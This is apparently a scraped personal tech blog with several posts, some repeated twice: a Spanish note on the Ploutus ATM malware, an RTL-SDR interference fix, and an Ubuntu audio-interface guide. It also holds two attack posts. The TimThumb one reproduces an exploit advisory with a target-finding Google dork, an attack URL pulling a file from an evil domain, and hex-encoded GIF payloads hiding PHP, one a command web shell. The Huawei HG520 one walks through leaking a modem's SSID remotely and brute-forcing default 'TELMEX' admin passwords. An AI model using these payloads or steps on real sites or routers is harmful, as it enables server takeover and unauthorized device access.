Leyendo las noticias locales me encuentro con un titular "Cuidado, reportan cajeros automáticos con virus".
No sé de dónde consiguen estas notas pero esta distorsionada. Los usuarios no tienen problema con este malware. Este malware le roba a los bancos y no a los cuentahabientes. (Aun recomiendo buscar signos que podrían indicar que el cajero automático ha sido alterado de alguna forma física, y si se ve algo extraño reportar al banco y abstenerse de usarla)
El esquema de este malware "Ploutus" consiste en instalar un "backdoor" por medio de un CD. Ya que es posible abrir el compartimiento donde se encuentra el CD-ROM (problemas de seguridad física, un antivirus no te salva de esto como lo sugieren los periódicos) lo que sugiere que este ataque podría ser más común en cajeros automáticos que estén en áreas comerciales, no en una sucursal del banco. Además se eligen cajeros “menos vigilados” para que sea más sencilla la extracción del motín.
Esto permite a los creadores del malware retirar del cajero automático sin la necesidad de una cuenta bancaria. En pocas palabras robar el cajero sin necesitar forzarlo físicamente. Para este esquema, sería muy inútil agregarle funcionalidad a este malware para robar información de usuarios, ya que esta información tendría que ser enviada a sus creadores de alguna forma (o recogida) y esto facilitaría la detección del mismo malware y estos criminales podrían ser identificados. Y, si ya tienen acceso al dinero en efectivo no tienen por qué complicarse más.
Tuesday, October 15, 2013
Sunday, March 3, 2013
Reducing EMI in RTL SDR
Many people have noticed that even if there is not an antenna connected to the RTL SDR. FM Stations still come strong. This is not good at all because these are signals that are getting into the PCB via another way that is not the antenna.
The most common tips for reducing EMI that are over the Internet for the RTL SDR is to use shielded USB cables, ferrite beads and a metal box. I was already using a shielded USB extension cable, and I mounted a ferrite bead near the RTL SDR. (At least 2 are recommended but I was just able to get one) The problem is that the USB cable is going to act as an antenna.
I also put aluminum foil inside the RTL SDR and it was touching the USB chassis ground. It seemed to help a bit but there was still a lot of noise. Any local FM station still goes through adjusting the gain. Near my home is a local FM transmitter that has always caused me problems, especially because I listen to air band. I use an AOF-128 bandpass filter and a coax stub filter and this still is not enough to attenuate completely the signal while listening with my PRO-95 scanner, so you can imagine how critical for me is reducing EMI in the RTL SDR for good performance.
I started to read about the USB specs and tips for reducing EMI while designing USB devices. There is a lot of information and different opinion about this. In general what I found out is that the shield on a USB cable is soldered with the male USB connector (in the host) but on the device is not but here comes the most important thing I found out. If in the USB device, the chassis is connected to ground, it is to a different ground, and not the ground to the PCB (To the chassis for example) or some designs have two grounds on the same PCB. Because that’s where it’s going to get the noise if the USB cable shield is connected to the USB chassis, so what I did on the RTL SDR, it’s to remove the male USB connector, and solder a cable with a male USB connector, and just solder the 4 cables (signal and power) and leave the shield floating. Then, where I cut the cable I put aluminum foil and then covered it with electrical tape.
This really reduced the FM broadcast interference. Even if the gain is set to maximum on the RTL SDR, the only station that comes some noise is the one that is my neighbor, but it’s really nothing to what was there before. I think if I got more ferrite beads and mounted the RTL inside a box it would be totally quiet.
Hope this can help other people and I would love to hear comments.
I also put aluminum foil inside the RTL SDR and it was touching the USB chassis ground. It seemed to help a bit but there was still a lot of noise. Any local FM station still goes through adjusting the gain. Near my home is a local FM transmitter that has always caused me problems, especially because I listen to air band. I use an AOF-128 bandpass filter and a coax stub filter and this still is not enough to attenuate completely the signal while listening with my PRO-95 scanner, so you can imagine how critical for me is reducing EMI in the RTL SDR for good performance.
I started to read about the USB specs and tips for reducing EMI while designing USB devices. There is a lot of information and different opinion about this. In general what I found out is that the shield on a USB cable is soldered with the male USB connector (in the host) but on the device is not but here comes the most important thing I found out. If in the USB device, the chassis is connected to ground, it is to a different ground, and not the ground to the PCB (To the chassis for example) or some designs have two grounds on the same PCB. Because that’s where it’s going to get the noise if the USB cable shield is connected to the USB chassis, so what I did on the RTL SDR, it’s to remove the male USB connector, and solder a cable with a male USB connector, and just solder the 4 cables (signal and power) and leave the shield floating. Then, where I cut the cable I put aluminum foil and then covered it with electrical tape.
This really reduced the FM broadcast interference. Even if the gain is set to maximum on the RTL SDR, the only station that comes some noise is the one that is my neighbor, but it’s really nothing to what was there before. I think if I got more ferrite beads and mounted the RTL inside a box it would be totally quiet.
Hope this can help other people and I would love to hear comments.
Wednesday, August 3, 2011
WordPress TimThumb Plugin - Remote Code Execution
This plugin has a lot of variants. In the advisory made by MaXe, a temp folder is not found, but I found a lot of themes that include a temp folder that can be exploited this way:
Example: I first crafted a file that contains:
\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x4c\x01\x00\x3b\x3C\x3F\x70\x68\x70\x20\x70\x68\x70\x69\x6E\x66\x6F\x28\x29\x3B\x20\x3F\x3E
Edit: MaXe reported that I have trash in the output because my payload doesn't follow JPEG standards.
(A black dot in a GIF File + phpinfo();
Here I am uploading the file with the vulnerability:
Cache folder has our file:
Executing the script:
# Exploit Title: WordPress TimThumb Plugin - Remote Code Execution
# Google Dork: inurl:timthumb ext:php -site:googlecode.com -site:google.com
# Date: 3rd August 2011
# Author: MaXe
# Software Link: http://timthumb.googlecode.com/svn-history/r141/trunk/timthumb.php
# Version: 1.32
# Screenshot: See attachment
# Tested on: Windows XP + Apache + PHP (XAMPP)
WordPress TimThumb (Theme) Plugin - Remote Code Execution
Versions Affected:
1.* - 1.32 (Only version 1.19 and 1.32 were tested.)
(Version 1.33 did not save the cache file as .php)
Info: (See references for original advisory)
TimThumb is an image resizing utility, widely used in many WordPress themes.
External Links:
http://www.binarymoon.co.uk/projects/timthumb/
http://code.google.com/p/timthumb/
Credits:
- Mark Maunder (Original Researcher)
- MaXe (Indepedendent Proof of Concept Writer)
-:: The Advisory ::-
TimThumb is prone to a Remote Code Execution vulnerability, due to the
script does not check remotely cached files properly. By crafting a
special image file with a valid MIME-type, and appending a PHP file at
the end of this, it is possible to fool TimThumb into believing that it
is a legitimate image, thus caching it locally in the cache directory.
Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)
http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php
Stored file on the Target: (This can change from host to host.)
1.19: http://www.target.tld/wp-content/themes/THEME/cache/md5($src);
1.32: http://www.target.tld/wp-content/themes/THEME/cache/external_md5($src);
md5($src); means the input value of the 'src' GET-request - Hashed in MD5 format.
Proof of Concept File:
\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00
\xFF\xFF\xFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00
\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02
\x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x65
\x76\x61\x6C\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D
\x64\x27\x5D\x29\x3B\x20\x3F\x3E\x00
(Transparent GIF +
-:: Solution ::-
Update to the latest version 1.34 or delete the timthumb file.
NOTE: This file is often renamed and you should therefore issue
a command like this in a terminal: (Thanks to rAWjAW for this info.)
find . | grep php | xargs grep -s timthumb
Disclosure Information:
- Vulnerability Disclosed (Mark Maunder): 1st August 2011
- Vulnerability Researched (MaXe): 2nd August 2011
- Disclosed at The Exploit Database: 3rd August 2011
Example: I first crafted a file that contains:
\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x4c\x01\x00\x3b\x3C\x3F\x70\x68\x70\x20\x70\x68\x70\x69\x6E\x66\x6F\x28\x29\x3B\x20\x3F\x3E
Edit: MaXe reported that I have trash in the output because my payload doesn't follow JPEG standards.
(A black dot in a GIF File + phpinfo();
Here I am uploading the file with the vulnerability:
Cache folder has our file:
Executing the script:
# Exploit Title: WordPress TimThumb Plugin - Remote Code Execution
# Google Dork: inurl:timthumb ext:php -site:googlecode.com -site:google.com
# Date: 3rd August 2011
# Author: MaXe
# Software Link: http://timthumb.googlecode.com/svn-history/r141/trunk/timthumb.php
# Version: 1.32
# Screenshot: See attachment
# Tested on: Windows XP + Apache + PHP (XAMPP)
WordPress TimThumb (Theme) Plugin - Remote Code Execution
Versions Affected:
1.* - 1.32 (Only version 1.19 and 1.32 were tested.)
(Version 1.33 did not save the cache file as .php)
Info: (See references for original advisory)
TimThumb is an image resizing utility, widely used in many WordPress themes.
External Links:
http://www.binarymoon.co.uk/projects/timthumb/
http://code.google.com/p/timthumb/
Credits:
- Mark Maunder (Original Researcher)
- MaXe (Indepedendent Proof of Concept Writer)
-:: The Advisory ::-
TimThumb is prone to a Remote Code Execution vulnerability, due to the
script does not check remotely cached files properly. By crafting a
special image file with a valid MIME-type, and appending a PHP file at
the end of this, it is possible to fool TimThumb into believing that it
is a legitimate image, thus caching it locally in the cache directory.
Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)
http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php
Stored file on the Target: (This can change from host to host.)
1.19: http://www.target.tld/wp-content/themes/THEME/cache/md5($src);
1.32: http://www.target.tld/wp-content/themes/THEME/cache/external_md5($src);
md5($src); means the input value of the 'src' GET-request - Hashed in MD5 format.
Proof of Concept File:
\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00
\xFF\xFF\xFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00
\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02
\x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x65
\x76\x61\x6C\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D
\x64\x27\x5D\x29\x3B\x20\x3F\x3E\x00
(Transparent GIF +
-:: Solution ::-
Update to the latest version 1.34 or delete the timthumb file.
NOTE: This file is often renamed and you should therefore issue
a command like this in a terminal: (Thanks to rAWjAW for this info.)
find . | grep php | xargs grep -s timthumb
Disclosure Information:
- Vulnerability Disclosed (Mark Maunder): 1st August 2011
- Vulnerability Researched (MaXe): 2nd August 2011
- Disclosed at The Exploit Database: 3rd August 2011
Thursday, May 5, 2011
Huawei HG520 - Obtención de contraseña de administrador de forma remota
Los módems Huawei HG520 de Telmex por default utilizan para la cuenta de administración:
Usuario: TELMEX
Contraseña: WEP Key default del equipo.
A partir del SSID se puede obtener las posibles WEP Key.
Hemos generado un script (generarrainbowtable.py) que nos permite generar una rainbow table con el SSID y WEP Key correspondientes de 3 OUI de Huawei (001E10, 002568 y 6416F0) [Cabe destacar que esto no hubiera sido posible sin el trabajo de: hochoa@websec.mx - http://websec.mx]
Al obtener el prefijo del SSID lo introducimos al script “generarlistaposibleswep.py” que consulta la base de datos previamente generada y nos escribe el archivo “words.txt” con una lista de 768 posibles WEP Keys el cual se puede utilizar con herramientas como Brutus para realizar un ataque diccionario.
Se obtienen 768 posibles WEP Keys porque en cada OUI se repite el mismo SSID 256 veces, dando así 256 posibilidades de WEP Keys, como hemos procesado 3 OUI distintos 256 * 3 = 768
Ejemplo del ataque:
Para obtener el SSID de un modem remoto por medio de la interfaz web sin estar autenticado utilizaremos la vulnerabilidad “HUAWEI ECHOLIFE HG520c Revelación de Información” publicada por HKM que consiste en abrir la página:
http://<ip remota>/Listadeparametros.html
Introducimos el SSID obtenido a generarposibleswepkey.py
Configuramos Brutus con esta lista de contraseñas y con el usuario “TELMEX”.
Descargas:
Generarrainbowtable.py
Generarlistaposibleswep.py
Rainbowtable generada:
Part 1
Part 2
Part 3
Part 4
Part 5
Usuario: TELMEX
Contraseña: WEP Key default del equipo.
A partir del SSID se puede obtener las posibles WEP Key.
Hemos generado un script (generarrainbowtable.py) que nos permite generar una rainbow table con el SSID y WEP Key correspondientes de 3 OUI de Huawei (001E10, 002568 y 6416F0) [Cabe destacar que esto no hubiera sido posible sin el trabajo de: hochoa@websec.mx - http://websec.mx]
Al obtener el prefijo del SSID lo introducimos al script “generarlistaposibleswep.py” que consulta la base de datos previamente generada y nos escribe el archivo “words.txt” con una lista de 768 posibles WEP Keys el cual se puede utilizar con herramientas como Brutus para realizar un ataque diccionario.
Se obtienen 768 posibles WEP Keys porque en cada OUI se repite el mismo SSID 256 veces, dando así 256 posibilidades de WEP Keys, como hemos procesado 3 OUI distintos 256 * 3 = 768
Ejemplo del ataque:
Para obtener el SSID de un modem remoto por medio de la interfaz web sin estar autenticado utilizaremos la vulnerabilidad “HUAWEI ECHOLIFE HG520c Revelación de Información” publicada por HKM que consiste en abrir la página:
http://<ip remota>/Listadeparametros.html
Introducimos el SSID obtenido a generarposibleswepkey.py
Configuramos Brutus con esta lista de contraseñas y con el usuario “TELMEX”.
Descargas:
Generarrainbowtable.py
Generarlistaposibleswep.py
Rainbowtable generada:
Part 1
Part 2
Part 3
Part 4
Part 5
Obtaining administrator account credentials of Huawei HG520C
Huawei HG520 Telmex modems use by default this account:
User: TELMEX
Password: WEP Key default of the equipment
The possible WEP keys can be obtained by its SSID.
We have generated a script (generarrainbowtable.py) that allows us generate a rainbow table with the SSID and corresponding WEP Key of 3 Huawei OUI (001E10, 002568 y 6416F0) [This would not have been possible without the work of: hochoa@websec.mx - http://websec.mx]
The obtained SSID is then introduced to “generarlistaposibleswep.py” which queries the previously generated database and writes a file (words.txt) with the list of 768 possible WEP Keys (words.txt) that can be introduced to tools like Brutus to make a dictionary attack.
768 possible WEP Keys are obtained because in each OUI the same SSID is repeated 256.
Thus, 256 WEP Keys * 3 OUIs = 768 WEP Keys
Example of the attack:
To obtain the SSID from a remote modem we will use the vulnerability “HUAWEI ECHOLIFE HG520C Revelation of Information” published by HKM that consists on opening the page:
http://<REMOTE IP>/Listadeparametros.html
Then we introduce the obtained SSID to generarposibleswepkey.py
We configure Brutus with this list of passwords with the user “TELMEX”.
Downloads:
Generaterainbowtable.py
Generatepossiblewep.py
Generated rainbowtable:
Part 1
Part 2
Part 3
Part 4
Part 5
User: TELMEX
Password: WEP Key default of the equipment
The possible WEP keys can be obtained by its SSID.
We have generated a script (generarrainbowtable.py) that allows us generate a rainbow table with the SSID and corresponding WEP Key of 3 Huawei OUI (001E10, 002568 y 6416F0) [This would not have been possible without the work of: hochoa@websec.mx - http://websec.mx]
The obtained SSID is then introduced to “generarlistaposibleswep.py” which queries the previously generated database and writes a file (words.txt) with the list of 768 possible WEP Keys (words.txt) that can be introduced to tools like Brutus to make a dictionary attack.
768 possible WEP Keys are obtained because in each OUI the same SSID is repeated 256.
Thus, 256 WEP Keys * 3 OUIs = 768 WEP Keys
Example of the attack:
To obtain the SSID from a remote modem we will use the vulnerability “HUAWEI ECHOLIFE HG520C Revelation of Information” published by HKM that consists on opening the page:
http://<REMOTE IP>/Listadeparametros.html
Then we introduce the obtained SSID to generarposibleswepkey.py
We configure Brutus with this list of passwords with the user “TELMEX”.
Downloads:
Generaterainbowtable.py
Generatepossiblewep.py
Generated rainbowtable:
Part 1
Part 2
Part 3
Part 4
Part 5
Sunday, June 13, 2010
Insights in getting M-Audio Firewire Solo to work
I got M-Audio Firewire Solo running in Ubuntu 10.4 in a Dell M1530 laptop. I had a lot of troubles, I even tried using ffado and jack from svn, the way the folks at ffado.org
are recommending at the Wiki, but that way didn't work, but it turned better because I am using the packages available at the Ubuntu repository.
Steps:
I started with a vanilla Ubuntu 10.04 installation updated with the last updates available at June 13 00:00 GMT
The first step I did was install Ardour:
I started simple, I was expecting this to install jack, and maybe ffado. It did install Jack, and libffado 2.0
It asked me if I wanted to run Jack in realtime mode, which I replied yes, and made a file in /etc/security/limits.d called audio.conf which contains:
Another thing you will need is that your user is able to read and write to "/dev/raw1394" which is your Firewire interface, I am not sure why is not done automatically.
if you do:
We correct this by doing:
This is my configuration in Jack:
I can confirm that audio playback works well, I can't speak of capture because I don't have stuff to test with, I use it very rarely with friends, you probably noticed
I have high latency, for me is not a problem because I rarely use the audio interface for recording, but in this website: http://westcoastsuccess.wordpress.com/2008/03/23/m-audio-firewire-solo-ubuntu/ Cheers Westcoastsuccess.
By the way, the FFADO Wiki is another great place.
An important thing that remember is that in Jack the M-Audio Firewire Solo appears as "system" and it has 4 playback channels, the first 2 ones are Left and Right but in SPDIF, 3 and 4 are Left and Right channel of Line Out.
Wish you good luck and waiting for feedback.
Very important notes:
The last 2 problems are supposedly because the devices share the same IRQ, there is information about it in the knowledge base of M-Audio.
If someone is curious my CPU Process is around 1.2% and 1.5% when is in use RT icon flickers (Should not it be always on?)
Annoyances:
Versions used:
are recommending at the Wiki, but that way didn't work, but it turned better because I am using the packages available at the Ubuntu repository.
Steps:
I started with a vanilla Ubuntu 10.04 installation updated with the last updates available at June 13 00:00 GMT
The first step I did was install Ardour:
sudo apt-get install ardour
I started simple, I was expecting this to install jack, and maybe ffado. It did install Jack, and libffado 2.0
It asked me if I wanted to run Jack in realtime mode, which I replied yes, and made a file in /etc/security/limits.d called audio.conf which contains:
# generated by jackd's postinst.
#
# Do not edit this file by hand, use
#
# dpkg-reconfigure -p high jackd
#
# instead.
@audio - rtprio 99
@audio - memlock unlimited
#@audio - nice -19
- rtprio is the maximum real time priority in the CPU, 99% is allocated.
- memlock is the amount of memory that can be allocated to the process, but if you run jackd in command line it will tell you that allocating unlimited memory is dangerous and recommends allocating the real amount of ram available
- nice changes the priority in the kernel scheduler, -20 is the highest and 20 is the lowest.
Another thing you will need is that your user is able to read and write to "/dev/raw1394" which is your Firewire interface, I am not sure why is not done automatically.
if you do:
ls -al /dev/raw1394The default Ubuntu 10.04 config will show:
crw-rw---- 1 root root 171, 0 2008-10-21 00:50 /dev/raw1394which is not good because only the root user can read and write to the interface
We correct this by doing:
echo (KERNEL=="raw1394*", GROUP="audio") >> /etc/udev/rules.d/50-raw1394.rulesWe add our account to the audio group:
adduser -a -G audio accountnameThen run:
sudo apt-get install ffado-tools ffado-dbus-server ffado-mixer-qt4 linux-rtWhen it finishes I recommend you to reboot and start with the Linux realtime kernel you just installed, when you are back in the desktop, try running ffado-dbus-server or you can go ahead and try Jack with Ardour or install another "Jack enabled" software.
This is my configuration in Jack:
I can confirm that audio playback works well, I can't speak of capture because I don't have stuff to test with, I use it very rarely with friends, you probably noticed
I have high latency, for me is not a problem because I rarely use the audio interface for recording, but in this website: http://westcoastsuccess.wordpress.com/2008/03/23/m-audio-firewire-solo-ubuntu/ Cheers Westcoastsuccess.
By the way, the FFADO Wiki is another great place.
An important thing that remember is that in Jack the M-Audio Firewire Solo appears as "system" and it has 4 playback channels, the first 2 ones are Left and Right but in SPDIF, 3 and 4 are Left and Right channel of Line Out.
Wish you good luck and waiting for feedback.
Very important notes:
- By some reason, ffado-mixer-qt4 is not able to connect to ffado-dbus-server, I don't know if the package is broken or if is this version of faddo-mixer-qt4, with the SVN, (That by the way I could not get playback working, even when everything appeared being good, but just no sound coming) ffado-mixer would say "Please wait, reconfiguring audio interface" so I guess is just because there is still not support to control the mixer in Linux, you have to change the Mixer in Windows, don't turn off the audio interface, and start Linux. I think for people who record this
- would be completely annoying, but in my case I use the audio interface as a DAC for getting my music to a receiver, so I don't mess with the volume in the audio interface, just in the amplifier though so it doesn't bother me much.
- If you have a video card like a NVIDIA or ATI, with propietary hardware drivers, I'd advise to uninstall them just to see if that is not what is making the audio interface to work. Here it works with the propietary NVIDIA driver, but with the Jack configuration I am presenting here and having appearance effects on, it causes shuttering and even has caused Jack to stop, I tweaked a bit the jack settings (but with the sacrifice of more latency) and I am also experimenting with /etc/security/limits.d/audio.conf settings
- In Windows when I am using wireless, I get shutters and distortion. I have the Intel IPW3945 wireless card, and I can confirm that in Ubuntu audio playback is not affected, I am not sure about capturing, but probably it would be advisable to disable it while recording.
The last 2 problems are supposedly because the devices share the same IRQ, there is information about it in the knowledge base of M-Audio.
If someone is curious my CPU Process is around 1.2% and 1.5% when is in use RT icon flickers (Should not it be always on?)
Annoyances:
- Audacious with jack worked for me but the output is very low, so if you have problems with certain software, it would be wise to try another version or another software
- Research a way to patch everything that goes to Pulseaudio to Jack. (I already have seen some options, but they involve editing conf files and I'd like a seemless way to select if I am going to patch everything to Jack, or simply use the HDA Intel Interface. (If Jack is stopped, HDA Intel works perfectly, and I have seen reported some cases of it not working in RT Kernel) Probably the solution for being able to change painlessly will be writing a script. (It would be cool to run automatically start it while Gnome is getting started, and being able to check if the interface is plugged in, better integration, maybe we can brainstorm something regarding that) :)
- Having Jack on the status bar, can it be moved to tray? (Moving it to another workspace is not so bad, though)
Versions used:
- Kernel 2.6.31-10-rt
- jackd (0.118+svn3796-1ubuntu2)
- libffado 2.0.0 built Mar 31 2010
- ffado-dbus server 2.0.0-1ubuntu1
- jackd-firewire (0.118+svn3796-1ubuntu2
- ffado-mixer-qt4 (2.0.0-1ubuntu1)
Subscribe to:
Posts (Atom)